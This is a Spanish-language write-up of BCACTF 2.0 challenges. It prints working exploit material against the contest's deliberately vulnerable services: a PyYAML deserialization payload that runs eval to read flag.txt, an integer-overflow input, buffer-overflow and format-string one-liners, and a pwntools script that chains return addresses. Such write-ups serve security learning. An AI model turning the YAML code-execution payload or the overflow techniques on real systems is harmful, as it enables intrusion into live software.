Writeup BCACTF 2.0
Aquí dejo algunos challenges de lo que fue el evento BCACTF 2.0. En su mayoría son retos simples o de iniciación.
misc
Challenge Checker - 150 points
I made this challenge checker to automate away ed's job. Maybe you can get a flag if you give it enough delicious yams...
chall.yaml
requirements.txt
verify.py
nc misc.bcactf.com 49153
Nos entregan 3 archivos y una url para conectarnos. Si nos conectamos queda esperando el yml (chall.yaml)
└─$ nc misc.bcactf.com 49153
Paste in your chall.yaml file, then send an EOF or two empty lines:
Al revisar la versión del PyYAML se ve que es vulnerable a RCE según el issue publicado en github. El hint nos dice que está ubicado en flag.txt
asi que podemos leer el archivos al enviar el siguiente payload.
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'print(open("flag.txt").read())' ]]]
bcactf{3d_r3ally_l1k35s_his_yams_c00ked_j5fc9g}
Challenge Checker 2 - 200 points
New version, better security, right?
chall.yaml
requirements.txt
verify.py
nc misc.bcactf.com 49154
Mismo procedimiento.. bcactf{y0u_r3ally_0verc00k3d_th05e_yams_j5fc9g}
binex
BCA Mart - 75 points
After the pandemic hit, everybody closed up shop and moved online. Not wanting to be left behind, BCA MART is launching its own digital presence. Shop BCA MART from the comfort of your own home today!
bca-mart.c
bca-mart
nc bin.bcactf.com 49153
Nos dan 2 archivo y una conexión.
Si revisamos el código vemos que lo ingresado por el usuario se multiplica por el costo. La validación es simple, solo basta con enviar un número multiplicado por el precio (100) sea mayor al máximo int
> 6000000000
That'll cost $-1295421440.
Thanks for your purchse!
bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}
Honors ABCs - 75 points
Here at BCA, we don't deal with normal classes. Everything is at the honors level or above! Let's start by learning about the alphabet.
And by learning, we obviously mean testing. Don't cheat!
honors-abcs.c
honors-abcs
nc bin.bcactf.com 49155
Simple overflow al enviar un payload así: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Luego de un largo texto se muestra el flag. bcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}
AP ABCs - 100 points
Oh wow, they put a freshman in AP ABCs? Never thought I'd see this happen. Anyways, good luck, and make sure to not cheat on your AP test!
ap-abcs.c
ap-abcs
nc bin.bcactf.com 49154
Otro overflow simple. Usando gdb se puede conocer la longitud del payload a ser enviad y ocupar la memoria en score
. Esto es necesario por el código espera igualar el score
con 0x73434241
que en ASCII es ABCs
python -c "print b'A'*76 + b'ABCs'" | nc bin.bcactf.com 49154
Finalmente luego de un largo texto muestra el flag: bcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}
American Literature - 150 points
Writing essays is so much fun! Watch me write all these totally meaningful words about other words... Actually, wait. You shouldn't be reading my essays. Shoo!
amer-lit.c
amer-lit
nc bin.bcactf.com 49157
Se trata de un problema de string format.
python -c "print ''.join(['%{}\$p'.format(c) for c in range(20,24)])" | nc bin.bcactf.com 49157
Al enviar el payload se recibe este hex 0x747b6674636163620x6e5f796c6c61746f0x6f6c706d655f746f0x6568745f676e6979
y se puede reconocer también parte del flag 63616362
(endianness) bca
, se pudo automatizar pero fue más rápido traer las partes y luego unir todo.
bcactf{totally_not_employing_the_use_of_generic_words_to_reach_the_required_word_limit_nope_not_me}
Math Analysis - 150 points
Congratulations, you've graduated from letters! Now, let's move on to numbers.
From the BCA Course Catalog:
Analysis I includes linear and quadratic functions, polynomials, inequalities, functions, exponential and logarithmic functions, conic sections, and geometry.
That's a lot of cool stuff! I think you'll have tons of fun learning about functions in this class!
analysis.c
analysis
nc bin.bcactf.com 49158
Otro overflow simple. Hay que saltar hasta la función cheat
Revisamos la dirección de la función con r2
└─$ r2 analysis [0x00401170]> aaaa
[0x00401170]> afl
..
0x00401256 3 124 sym.cheat
Para calcular el offset se puede usar gdb y probar con un patrón hasta que rebase el payload. Luego se construyó el comando.
python -c "from pwn import *; print (b'A'*72) + p64(0x00401256)" | nc bin.bcactf.com 49158
Finalmente el flag. bcactf{challenges_are_just_functions_mapping_from_coffee_to_points}
Advanced Math Analysis - 200 points
The advanced course covers the same content as the non-advanced course and then some. Specifically, it also teaches some units on logic and geometry.
Now, I'm personally not the biggest fan of geometry, so I'll spare you from that. But you'll definitely need to spend some time logicing this challenge out!
adv-analysis.c
adv-analysis
nc bin.bcactf.com 49156
Este también era simple, similar al anterior. Solo había una diferencia y era el strcmp
, el string que ingresaba debía ser igual a ese. Sabemos que las cadenas de caracteres terminan en 0x0
y el strcmp
no valida la longitud.
...
printf("> ");
gets(response);
if (strcmp(response, "i pledge to not cheat")) {
puts("I'm sorry, but you did not type out the honor pledge.");
...
Así que se puede enviar el payload:
i pledge to not cheat\0x0AAAAAAAAAAAAA
De esa forma el strcmp
era true y además se puede enviar un payload adicional. Finalmente luego de hallar el offset, construí el comando que apunta a la función cheat
obtenida con r2.
python -c "from pwn import *; print (b'i pledge to not cheat') +b'\x00'+ b'\x41'*(50) + p64(0x40121a)" | nc bin.bcactf.com 49156
bcactf{corresponding_parts_of_congurent_triangles_are_congruent_ie_CPCCTCPTPPTCTC}
Discrete Mathematics - 250 points
BCA's top-level math track! We have proofs, trig, parametric, polar, linear algebra, calculus, ... You'll just have to demonstrate your skills before getting the flag.
discrete.c
discrete
nc bin.bcactf.com 49160
Este fue un poco más trabajoso, sin embargo cumple la misma lógica que los anteriores.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int knows_logic = 0;
int knows_algebra = 0;
int knows_functions = 0;
//0x000000000040123b
void logic() {
int p, q, r, s;
printf("p: ");
scanf("%d", &p);
printf("q: ");
scanf("%d", &q);
printf("r: ");
scanf("%d", &r);
printf("s: ");
scanf("%d", &s);
knows_logic = (p || q || !r) && (!p || r || !s) && (q != s) && s;
}
//0x000000000040133b
void algebra() {
int x, y, z;
printf("x: ");
scanf("%d", &x);
printf("y: ");
scanf("%d", &y);
printf("z: ");
scanf("%d", &z);
int eq1 = 5*x - 6*y + 3*z;
int eq2 = 2*x + 5*y - 7*z;
int eq3 = 4*x + 8*y + 8*z;
knows_algebra = (eq1 == 153) && (eq2 == -163) && (eq3 == -28);
}
//0x0000000000401452
void functions() {
int a, b, c;
printf("a: ");
scanf("%d", &a);
printf("b: ");
scanf("%d", &b);
printf("c: ");
scanf("%d", &c);
int vertex_x = -b / (2*a);
int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c;
int discriminant = b * b - 4 * a * c;
knows_functions = (vertex_x == 2) && (vertex_y == -2) && (discriminant == 16);
}
void quiz() {
FILE *fp = fopen("flag.txt", "r");
char flag[100];
if (fp == NULL) {
puts("Sorry, all my stuff's a mess.");
puts("I'll get around to grading your quiz sometime.");
puts("[If you are seeing this on the remote server, please contact admin].");
exit(1);
}
fgets(flag, sizeof(flag), fp);
if (knows_logic && knows_algebra && knows_functions) {
puts("Alright, you passed this quiz.");
puts("Here's your prize:");
puts(flag);
} else {
puts("Not there yet...");
puts("Study some more!");
}
}
int main() {
char response[50];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("Discrete.");
puts("The top math track.");
puts("The best BCA students.");
puts("The crème de la crème.");
puts("We have high expectations.");
puts("Answer all the questions correctly.");
puts("Do not disappoint us.");
printf("> ");
gets(response);
if (strcmp(response, "i will get an A")) {
puts("I'm sorry, but you obviously don't care about grades.");
puts("Therefore, you aren't motivated enough to be in our class.");
puts("Goodbye.");
exit(1);
}
puts("Your quiz have been posted to Schoology.");
puts("You have twenty minutes.");
puts("Good luck.");
}
Como se puede ver en código no es posible saltar directamente a quiz
porque es necesario primero validar las 3 otras funciones. Hice un código que automatiza el proceso con las soluciones que devuelvan un valor verdadero en cada una de las funciones.
from pwn import *
p = remote("bin.bcactf.com", 49160)
p.recvuntil(">")
payload = b"i will get an A" + b'\x00'
addr_logic = 0x40123b
addr_alg= 0x40133b
addr_func = 0x401452
addr_flag = 0x401549
offset = b'A'*(64-16+8)
p.sendline(payload + offset + p64(addr_logic) + b'A'*8 + p64(addr_alg) + b'A'*8+ p64(addr_func) + b'A'*8+ p64(addr_flag))
print p.recvuntil("p: ")
p.sendline(b"1")
print p.recvuntil("q: ")
p.sendline(b"0")
print p.recvuntil("r: ")
p.sendline(b"1")
print p.recvuntil("s: ")
p.sendline(b"1")
print p.recvuntil("x: ")
p.sendline(b"3")
print p.recvuntil("y: ")
p.sendline(b"-17")
print p.recvuntil("z: ")
p.sendline(b"12")
print p.recvuntil("a: ")
p.sendline(b"2")
print p.recvuntil("b: ")
p.sendline(b"-8")
print p.recvuntil("c: ")
p.sendline(b"6")
print p.recvuntil("}")
Finalmente el flag: bcactf{the_limit_as_t_approaches_the_ctf_of_my_sanity_approaches_0}